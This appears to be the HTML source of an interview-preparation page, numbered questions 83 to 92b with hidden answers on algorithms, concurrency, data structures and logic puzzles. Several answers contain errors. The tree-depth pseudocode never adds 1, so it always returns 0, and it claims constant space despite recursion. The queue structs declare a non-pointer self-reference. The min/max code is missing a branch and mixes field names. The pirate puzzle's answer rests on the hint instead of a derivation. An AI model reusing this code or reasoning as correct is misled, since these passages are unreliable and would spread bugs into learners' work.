&lt;pre&gt;
&lt;b&gt;function&lt;/b&gt; depth (tree)
    &lt;b&gt;if&lt;/b&gt; tree &lt;b&gt;is&lt;/b&gt; NULL &lt;b&gt;then&lt;/b&gt;
        &lt;b&gt;return&lt;/b&gt; 0
    &lt;b&gt;end if&lt;/b&gt;
    depthLeft = depth (tree.left)
    depthRight = depth (tree.right)
    &lt;b&gt;if&lt;/b&gt; depthLeft &gt; depthRight &lt;b&gt;then&lt;/b&gt;
        &lt;b&gt;return&lt;/b&gt; depthLeft
    &lt;b&gt;else&lt;/b&gt; 
        &lt;b&gt;return&lt;/b&gt; depthRight
    &lt;b&gt;end if&lt;/b&gt;
&lt;/pre&gt;
&lt;p&gt;
Runs in time complexity O(n) and space complexity O(1).
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt83&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;83.&lt;/b&gt; Besides communication cost, what is the other source of inefficiency in RPC?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt83&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Context switches, excessive buffer copying. &lt;br&gt;
Optimize by communicating through shared memory on same machine, bypassing the kernel.
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://k2cplus.blogspot.ch/2009/12/besides-communication-cost-what-is.html&quot;&gt;http://k2cplus.blogspot.ch/2009/12/besides-communication-cost-what-is.html&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt84a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;84.a.&lt;/b&gt; An array of integers of size n. Generate a random permutation of the array, given a function rand_n() that returns an integer between 1 and n, both inclusive, with equal probability.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt84a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
There is an algorithm in O(n) to solve this known as the &lt;i&gt;Fisher - Yates shuffle&lt;/i&gt; algorithm. The version of this algorithm used today has been popularized by Donald E. Knuth in volume 2 of his book The Art of Computer Programming as &quot;Algorithm P&quot;.
&lt;/p&gt;
&lt;p&gt;
Pseudo-code is as follows:
&lt;/p&gt;
&lt;pre&gt;
To shuffle an array a of n elements (indices 0..n-1):
  &lt;b&gt;for&lt;/b&gt; i &lt;b&gt;from&lt;/b&gt; n - 1 &lt;b&gt;downto&lt;/b&gt; 1 do
       j &amp;lt;- random integer with 0 &amp;lt;= j &amp;lt;= i
       exchange a[j] and a[i]
&lt;/pre&gt;
&lt;p&gt;
There is an implementation of that algorithm in Java in &lt;code&gt;Collections.shuffle()&lt;/code&gt; (simplified):
&lt;/p&gt;
&lt;pre&gt;
    &lt;b&gt;public static void&lt;/b&gt; shuffle(List&amp;lt;?&gt; list, Random rnd) {
        &lt;b&gt;int&lt;/b&gt; size = list.size();

        Object arr[] = list.toArray();

        // Shuffle array
        &lt;b&gt;for&lt;/b&gt; (int i=size; i&gt;1; i--)
            swap(arr, i-1, rnd.nextInt(i));

        // Dump array back into list
        ListIterator it = list.listIterator();
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i=0; i &amp;lt; arr.length; i++) {
            it.next();
            it.set(arr[i]);
        }
    }

    &lt;b&gt;public static void&lt;/b&gt; swap(List&amp;lt;?&gt; list, &lt;b&gt;int&lt;/b&gt; i, &lt;b&gt;int&lt;/b&gt; j) {
        list.set(i, list.set(j, list.get(i)));
    }
&lt;/pre&gt;
&lt;p&gt;
Runs in time complexity O(n) and space complexity O(1).
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle&quot;&gt;http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt84b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;84.b.&lt;/b&gt; Write an efficient algorithm and C code to shuffle a pack of cards
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt84b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
One simply needs to use the &lt;i&gt;Fisher - Yates shuffle&lt;/i&gt; algorithm described above.
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt85a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;85a.&lt;/b&gt; Assuming that locks are the only reason due to which deadlocks can occur in a system. What would be a foolproof method of avoiding deadlocks in the system ?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt85a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
A deadlock occurs when a set of concurrent workers are waiting on each other to make forward progress before any of them can make forward progress. If this sounds like a paradox, it is. There are four general properties that must hold to produce a deadlock:
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;b&gt;Mutual Exclusion:&lt;/b&gt; When one thread owns some resource, another cannot acquire it. This is the case with most critical sections, but is also the case with GUIs in Windows. Each window is owned by a single thread, which is solely responsible for processing incoming messages; failure to do so leads to lost responsiveness at best, and deadlock in the extreme.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;A Thread Holding a Resource is Able to Perform an Unbounded Wait&lt;/b&gt; For example, when a thread has entered a critical section, code is ordinarily free to attempt acquisition of additional critical sections while it is held. This typically results in blocking if the target critical section is already held by another thread.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Resources Cannot be Forcibly Taken Away From Their Current Owners&lt;/b&gt; In some situations, it is possible to steal resources when contention is noticed, such as in complex database management systems (DBMSs). This is generally not the case for the locking primitives available to managed code on the Windows platform.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;A Circular Wait Condition&lt;/b&gt; A circular wait occurs if chain of two or more threads is waiting for a resource held by the next member in the chain. Note that for non-reentrant locks, a single thread can cause a deadlock with itself. Most locks are reentrant, eliminating this possibility.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
Let&apos;s have two ressources A and B and two threads that need a lock on these ressources. The following conditions can be identified:
&lt;/p&gt;
&lt;pre&gt;
  T1 lock A then B / T2 lock A then B -&gt; OK (no cycle)
  T1 lock A then B / T2 lock B then A -&gt; potential DEADLOCK !
&lt;/pre&gt;
&lt;p&gt;
Two general strategies are useful for dealing with critical-section-based deadlocks.
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;b&gt;Avoid Deadlocks&lt;/b&gt; Altogether Eliminate one of the aforementioned four conditions. For example, you can enable multiple resources to share the same resource (usually not possible due to thread safety), avoid blocking altogether when you hold locks, or eliminate circular waits, for example. This does require some structured discipline, which can unfortunately add noticeable overhead to authoring concurrent software.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Detect and Mitigate Deadlocks&lt;/b&gt; Most database systems employ this technique for user transactions. Detecting a deadlock is straightforward, but responding to them is more difficult. Generally speaking, deadlock detection systems choose a victim and break the deadlock by forcing it to abort and release its locks. Such techiques in arbitrary managed code could lead to instability, so these techniques must be employed with care.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;Avoiding Deadlocks with Lock Leveling&lt;/span&gt;&lt;/b&gt;: A common approach to combating deadlocks in large software systems is a technique called lock leveling (also known as lock hierarchy or lock ordering). This strategy factors all locks into numeric levels, permitting components at specific architectural layers in the system to acquire locks only at lower levels. For example, in the original example, I might assign lock A a level of 10 and lock B a level of 5. It is then legal for a component to acquire A and then B because B&apos;s level is lower than A&apos;s, but the reverse is strictly illegal. This eliminates the possibility of deadlock.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt85b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;85.b.&lt;/b&gt; What is the difference between a live-lock and a deadlock ?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt85b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Deadlock&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Deadlock is a situation when two processes, each having a lock on one piece of data, attempt to acquire a lock on the other&apos;s piece. Each process would wait indefinitely for the other to release the lock, unless one of the user processes is terminated. SQL Server detects deadlocks and terminates one user&apos;s process.
&lt;/p&gt;
&lt;p&gt;
A deadlock occurs when two or more tasks permanently block each other by each task having a lock on a resource which the other tasks are trying to lock. 
&lt;/p&gt;
&lt;p&gt;
&lt;i&gt;For example with database transactions:&lt;/i&gt;
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;Transaction A acquires a share lock on row 1.&lt;/li&gt;
    &lt;li&gt;Transaction B acquires a share lock on row 2.&lt;/li&gt;
    &lt;li&gt;Transaction A now requests an exclusive lock on row 2, and is blocked until transaction B finishes and releases the share lock it has on row 2.&lt;/li&gt;
    &lt;li&gt;Transaction B now requests an exclusive lock on row 1, and is blocked until transaction A finishes and releases the share lock it has on row 1.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
Transaction A cannot complete until transaction B completes, but transaction B is blocked by transaction A. This condition is also called a cyclic dependency: Transaction A has a dependency on transaction B, and transaction B closes the circle by having a dependency on transaction A.
&lt;/p&gt;
&lt;p&gt;
Both transactions in a deadlock will wait forever unless the deadlock is broken by an external process
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Livelock:&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
A livelock is one, where a request for an exclusive lock is repeatedly denied because a series of overlapping shared locks keeps interfering.
&lt;/p&gt;
&lt;p&gt;
A livelock is similar to a deadlock, except that the states of the processes involved in the livelock constantly change with regard to one another, none progressing. Livelock is a special case of resource starvation; the general definition only states that a specific process is not progressing.
&lt;/p&gt;
&lt;p&gt;
A real-world example of livelock occurs when two people meet in a narrow corridor, and each tries to be polite by moving aside to let the other pass, but they end up swaying from side to side without making any progress because they both repeatedly move the same way at the same time.
&lt;/p&gt;
&lt;p&gt;
Livelock is a risk with some algorithms that detect and recover from deadlock. If more than one process takes action, the deadlock detection algorithm can be repeatedly triggered. This can be avoided by ensuring that only one process (chosen randomly or by priority) takes action.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt86&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;86.&lt;/b&gt; Give a good data structure for having n queues ( n not fixed) in a finite memory segment. You can have some data-structure separate for each queue. Try to use at least 90% of the memory space. 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt86&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Linked list&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
I believe the best data structure is a Linked List, linked with pointers. 
&lt;/p&gt;
&lt;p&gt;
Dynamic memory allocation comes in help here. Using a simple structure like
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;struct&lt;/b&gt; node {
    Type data;
    &lt;b&gt;struct&lt;/b&gt; node next;
};
&lt;/pre&gt; 
&lt;p&gt;
Here any number of lists or queues can be created in the finite memory segment using dynamic memory allocation. Every queue is simply represented by two pointers, the head of the queue and the current tail of the queue. &lt;br&gt;
Whenever a new element needs to be aded to a queue, a new struct instance is allocated in te hfinit memory segment, the next pointer of the current last element is updated to point to it and finally the tail pointer is updated.
&lt;/p&gt;
&lt;p&gt;
The problem here is that it is inneficient in terms of memory consumption because of the overhead required to store all pointers.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Hybrid solution&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
This memory consumtion efficiency problem can be solved (at least a little) by using an hybrid approach. Every 10 elements of each queue is stored in an array. Each array is stored in a structure along with a pointers pointing on the next 10 elements array.&lt;br&gt;
Hence a structure this way:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;struct&lt;/b&gt; node {
    Type data[10];
    &lt;b&gt;struct&lt;/b&gt; node next;
};
&lt;/pre&gt; 
&lt;p&gt;
This way, instead of having potentially only 50% elements and 50% pointers in the finite memory segment, we can achieve 90% elements and only 10% pointers in the finite memory segment.
&lt;/p&gt;
&lt;p&gt;
This is pretty appropriate for a queue where elements are always added to the tail but would be unneffective for a list with random insertion and deletions.
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt87&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;87.&lt;/b&gt; Say you are implementing exponentiation for a certain processor. How would you minimize the number of multiplications required for this operation?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt87&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Group the multiplications. Specifically, use the binary value of the power. For example:
&lt;/p&gt;
&lt;p&gt;
x ^ 27?&lt;br&gt;
- note that 27 (base10) == 11011 (base2)&lt;br&gt;
- so x ^ 27 = x^1 * x^2 * x^8 * x^16&lt;br&gt;
- so calculate x^1, x^2, x^4, x^8, x^16 sequentially and store them (this costs you 4 multiplications, since you can get each successive term by squaring the previous one)&lt;br&gt;
- multiply the ones that are required (see decomposition of 27 into powers of 2) together (3 multiplications)&lt;br&gt;
&lt;/p&gt;
&lt;p&gt;
Total cost 7 multiplications, rather than the 26 required in the naive way. 
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt88&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;88.&lt;/b&gt; You have given an array. Find the maximum and minimum numbers in less number of comparisons.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt88&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
I assume the array is unsorted (if it is sorted, just take first and last element).
&lt;/p&gt;
&lt;p&gt;
There isn&apos;t any reliable way to get the minimum/maximum without testing every value. You don&apos;t want to try a sort or anything like that, walking through the array is O(n), which is better than any sort algorithm can do in the general case.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Naive algorithm&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The naive algorithm is too loop and update min, max.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Recursive solution&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
A recursive solution will require less comparisons than naive algorithm, if you want to get min, max simultaneously
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;struct&lt;/b&gt; MinMax{
   &lt;b&gt;public int&lt;/b&gt; min,max;
}

MinMax FindMinMax(&lt;b&gt;int&lt;/b&gt;[] array, &lt;b&gt;int&lt;/b&gt; start, &lt;b&gt;int&lt;/b&gt; end) {
   if (start == end)
      &lt;b&gt;return new&lt;/b&gt; MinMax { min = array[start], max = array[start] };

   if (start == end - 1)
      &lt;b&gt;return new&lt;/b&gt; MinMax { min = Math.Min(array[start], array[end]), max = Math.Max(array[start], array[end]) } ;

   MinMax res1 = FindMinMax(array, start, (start + end)/2);
   MinMax res2 = FindMinMax(array, (start+end)/2+1, end);

   &lt;b&gt;return new&lt;/b&gt; MinMax { min = Math.Min(res1.Min, res2.Min), max = Math.Max(res1.Max, res2.Max) } ;
}
&lt;/pre&gt;
&lt;p&gt;
This isn&apos;t necessarily faster due to function call overhead, not to count the memory allocation.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Best solution : iterative solution&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Then there is an algorithm that finds the min and max in 3n/2 number of comparisons. What one needs to do is process the elements of the array in pairs. The larger of the pair should be compared with the current max and the smaller of the pair should be compared with the current min. Also, one needs take special care if the array contains odd number of elements.
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;struct&lt;/b&gt; MinMax{
   &lt;b&gt;int&lt;/b&gt; min,max;
}

MinMax FindMinMax(&lt;b&gt;int&lt;/b&gt;[] array, &lt;b&gt;int&lt;/b&gt; start, &lt;b&gt;int&lt;/b&gt; end) {
   MinMax  min_max;
   &lt;b&gt;int&lt;/b&gt; index;
   &lt;b&gt;int&lt;/b&gt; n = end - start + 1;//n: the number of elements to be sorted, assuming n&gt;0
   &lt;b&gt;if&lt;/b&gt; ( n%2 != 0 ){// if n is odd

     min_max.min = array[start];
     min_max.max = array[start];

     index = start + 1;
   }
   &lt;b&gt;else&lt;/b&gt;{// n is even
     &lt;b&gt;if&lt;/b&gt; ( array[start] &amp;lt; array[start+1] ){
       min_max.min = array[start];
       min_max.max = array[start+1];

       index = start + 2;
   }

   &lt;b&gt;int&lt;/b&gt; big, small;
   &lt;b&gt;for&lt;/b&gt; ( &lt;b&gt;int&lt;/b&gt; i = index; i &amp;lt; n-1; i = i+2 ){
      &lt;b&gt;if&lt;/b&gt; ( array[i] &amp;lt; array[i+1] ){ //one comparison
        small = array[i];
        big = array[i+1];
      }
      &lt;b&gt;else&lt;/b&gt;{
        small = array[i+1];
        big = array[i];
      }
      &lt;b&gt;if&lt;/b&gt; ( min_max.Min &gt; small ){ //one comparison
        min_max.min = small;
      }
      &lt;b&gt;if&lt;/b&gt; ( min_max.Max &amp;lt; big ){ //one comparison
        min_max.max = big;
      }
   }

   return min_max;
}
&lt;/pre&gt;
&lt;p&gt;
It&apos;s very easy to see that the number of comparisons it takes is 3n/2. The loop runs n/2 times and in each iteration 3 comparisons are performed. This is probably the optimum one can achieve.
&lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt89&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;89.&lt;/b&gt; You have five pirates, ranked from 5 to 1 in descending order. The top pirate has the right to propose how 100 gold coins should be divided among them. But the others get to vote on his plan, and if fewer than half agree with him, he gets killed. &lt;br&gt;
How should he allocate the gold in order to maximize his share but live to enjoy it? (Hint: One pirate ends up with 98 percent of the gold.)
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt89&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Intuitive approach&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Only half of the pirates should agree to the plan for the leader not to be killed. Here there are 5 pirates, so 3 pirates should agree to the plan.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Hence intuitively, the leader should propose to two other pirates to share the loot. He keeps 34 to himself and offers two other pirates 33 each.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Solution&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The given hints states that one pirate ends up with 98% of the gold. &lt;br&gt;
In this case, I assume that the leader keeps 98 gold coins and gives two other pirates 1 gold coind each. Since one gold coin is better than nothing, the two pirates accepts the plan and the leader survives.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Assumptions&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
A few assumptions are required to explain this solution:
&lt;/p&gt;
&lt;ol&gt;
    &lt;li&gt;First, assume that if the Pirate 5 (the top pirate) is voted down and gets killed, then the remaining pirates retain their rankings and continue the game, with Pirate 4 now in charge. If Pirate 4 is killed, then Pirate 3 is in charge, and so on.&lt;/li&gt;
    &lt;li&gt;Second, assume that any vote includes the person who proposed the plan (the top pirate), and a tie vote is enough to carry the plan.&lt;/li&gt;
    &lt;li&gt;Third, assume that all pirates are acting rationally to maximize the amount of gold they receive, and are not motivated by emotion or vindictiveness.&lt;/li&gt;
    &lt;li&gt;Fourth, assume that pirates are ruthless and cannot be trusted to collaborate with each other.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
&lt;b&gt;Generalized answer&lt;/b&gt; is
&lt;/p&gt;
&lt;pre&gt;
If there are odd number of pirates then
    the number of coins with top pirate = total number of coins - number of odd numbers below the number.
else
    the number of coins with top pirate = total number of coins - number of even numbers below the number.
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt90&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;90.&lt;/b&gt; Every man in a village of 100 married couples has cheated on his wife. Every wife in the village instantly knows when a man other than her husband has cheated, but does not know when her own husband has. The village has a law that does not allow for adultery. Any wife who can prove that her husband is unfaithful must kill him that very day. The women of the village would never disobey this law. One day, the queen of the village visits and announces that at least one husband has been unfaithful. What happens?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt90&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
The cheating husband problem is a classic recursion pb.
&lt;/p&gt;
&lt;p&gt;
Once all the wives know there are at least 1 cheating husband, we can understand the process recursively. Let&apos;s assume that there is only 1 cheating husband. Then his wife doesn&apos;t see anybody cheating, so she knows he cheats, and she will kill him that very day. If there are 2 cheating husband, their wives know of one cheating husband, and must wait one day before concluding that their own husbands cheat (since no husband got killed the day of the announcement).
&lt;/p&gt;
&lt;p&gt;
So with 100 cheating husbands, all life is good until 99 days later, when the 100 wives wives kill their unfaithful husband all on the same day.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt92&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;91.&lt;/b&gt; What is the birthday paradox ?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt92&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
In probability theory, the birthday problem or birthday paradox concerns the probability that, in a set of n randomly chosen people, some pair of them will have the same birthday. By the pigeonhole principle, the probability reaches 100% when the number of people reaches 367 (since there are 366 possible birthdays, including February 29). However, 99% probability is reached with just 57 people, and 50% probability with 23 people. These conclusions are based on the assumption that each day of the year (except February 29) is equally probable for a birthday.
&lt;/p&gt;
&lt;p&gt;
The mathematics behind this problem led to a well-known cryptographic attack called the birthday attack, which uses this probabilistic model to reduce the complexity of cracking a hash function.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Understanding the problem&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The birthday problem asks whether any of the people in a given group has a birthday matching any of the others - not one in particular. (See &quot;Same birthday as you&quot; below for an analysis of this much less surprising alternative problem.)
&lt;/p&gt;
&lt;p&gt;
In the example given earlier, a list of 23 people, comparing the birthday of the first person on the list to the others allows 22 chances for a matching birthday, the second person on the list to the others allows 21 chances for a matching birthday, third person has 20 chances, and so on. Hence total chances are: 22+21+20+....+1 = 253, so comparing every person to all of the others allows 253 distinct chances (combinations): in a group of 23 people there are &lt;img alt=&quot;borthday paradox example&quot; src=&quot;http://upload.wikimedia.org/math/9/d/6/9d69a8819ac8dc66dfb16d4243c20111.png&quot; /&gt; = 253 pairs.
&lt;/p&gt;
&lt;p&gt;
Presuming all birthdays are equally probable,[2][3][4] the probability of a given birthday for a person chosen from the entire population at random is 1/365 (ignoring Leap Day, February 29). Although the pairings in a group of 23 people are not statistically equivalent to 253 pairs chosen independently, the birthday paradox becomes less surprising if a group is thought of in terms of the number of possible pairs, rather than as the number of individuals.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Calculating the probability&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://en.wikipedia.org/wiki/Birthday_problem&quot;&gt;http://en.wikipedia.org/wiki/Birthday_problem&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt92a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;92.a&lt;/b&gt; What method would you use to look up a word in a dictionary?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt92a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Technically, all of those answers are right. However, major companies are looking for the most efficient way. By saying you use a trie, you search basically the way most people do. Slightly brighter people use binary searches, because it is much quicker. Even brighter people use B-Trees. A binary search is basically a B-tree search where the B-tree node has only 1 key and 2 pointers. There is an optimum B-tree that will have a search that is log_n().
&lt;/p&gt;
&lt;p&gt;
I would say that it highly depends on the technical form of the dictionary we&apos;re allowed to give to the dictionary and the constraints that come with. I would go for a B-Tree or at least a Hash Index
&lt;/p&gt;
&lt;p&gt;
The standard trade offs between these data structures apply.
&lt;/p&gt;
&lt;ul&gt;
     &lt;li&gt;Binary Trees
        &lt;ul&gt;
          &lt;li&gt;medium complexity to implement (assuming you can&apos;t get them from a library)&lt;/li&gt;
          &lt;li&gt;inserts are O(logN)&lt;/li&gt;
          &lt;li&gt;lookups are O(logN)&lt;/li&gt;
        &lt;/ul&gt;
     &lt;/li&gt;
     &lt;li&gt;
     Linked lists (unsorted)
        &lt;ul&gt;
          &lt;li&gt;low complexity to implement&lt;/li&gt;
          &lt;li&gt;inserts are O(1)&lt;/li&gt;
          &lt;li&gt;lookups are O(N)&lt;/li&gt;
        &lt;/ul&gt;
     &lt;/li&gt;
     &lt;li&gt;
     Hash tables     
        &lt;ul&gt;
          &lt;li&gt;high complexity to implement&lt;/li&gt;
          &lt;li&gt;inserts are O(1) on average&lt;/li&gt;
          &lt;li&gt;lookups are O(1) on average&lt;/li&gt;
          &lt;li&gt;A hash table can degenerate to O(N) in the worst case.&lt;/li&gt;
        &lt;/ul&gt;
     &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
In a map, as in linked lists and binary trees, each entry is a node storing more than just key and value, also separately-allocated in some implementations, so you use more memory and increase chances of a cache miss.
&lt;/p&gt;
&lt;p&gt;
Of course, if you really care about how any of these data structures will perform, you should test them. You should have little problem finding good implementations of any of these for most common languages. It shouldn&apos;t be too difficult to throw some of your real data at each of these data structures and see which performs best.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt92b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;92.b.&lt;/b&gt; How would you store 1 million phone numbers?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt92b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
At first sight, a trie seems interesting since it offers classification and simple retrieval. 
&lt;/p&gt;
&lt;p&gt;
A trie, also called digital tree or prefix tree, is an ordered tree data structure that is used to store a dynamic set or associative array where the keys are usually strings. Unlike a binary search tree, no node in the tree stores the key associated with that node; instead, its position in the tree defines the key with which it is associated. All the descendants of a node have a common prefix of the string associated with that node, and the root is associated with the empty string. Values are normally not associated with every node, only with leaves and some inner nodes that correspond to keys of interest. For the space-optimized presentation of prefix tree, see compact prefix tree.
&lt;/p&gt;
&lt;p&gt;
&lt;img alt=&quot;Trie Example&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/b/be/Trie_example.svg/250px-Trie_example.svg.png&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;
The problem with a trie comes from the space overhead since it requires O(n log n) space to store the pointers.
&lt;/p&gt;
&lt;p&gt;
However, there are rules for engagement when dealing with phone numbers. They&apos;re sparse, for one, meaning not all possible area codes are used. In this case, a simple tree is a-ok. I mean think about it... you only need 269 + 26 for Canada. That&apos;s pretty small, and you&apos;ve cut out a large portion of space PLUS increased search time. Not only that, but it can be augmented for location information.
&lt;/p&gt;
&lt;p&gt;
After that, you&apos;ve got a 7 digit number. This can be stored in a single 32-bit integer. Sort on insert, and you&apos;ve got a pretty fast mechanism for retrieval as you can do binary search on the remainder of the number.
&lt;/p&gt;
&lt;p&gt;
In java, an implementation I would look into a BitSet:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;private&lt;/b&gt; BitSet dir = &lt;b&gt;new&lt;/b&gt; BitSet(1000000);

&lt;b&gt;public void&lt;/b&gt; addTelephoneNumber(&lt;b&gt;int&lt;/b&gt; number) {
     dir.set(number);
}

&lt;b&gt;public void&lt;/b&gt; removeTelephoneNumber(&lt;b&gt;int&lt;/b&gt; number) {
     &lt;b&gt;if&lt;/b&gt; (dir.get(number)) {
          dir.flip(number);
     }
}

&lt;b&gt;public boolean&lt;/b&gt; isNumberPresent(&lt;b&gt;int&lt;/b&gt; number) {
     return dir.get(number);
}
&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;
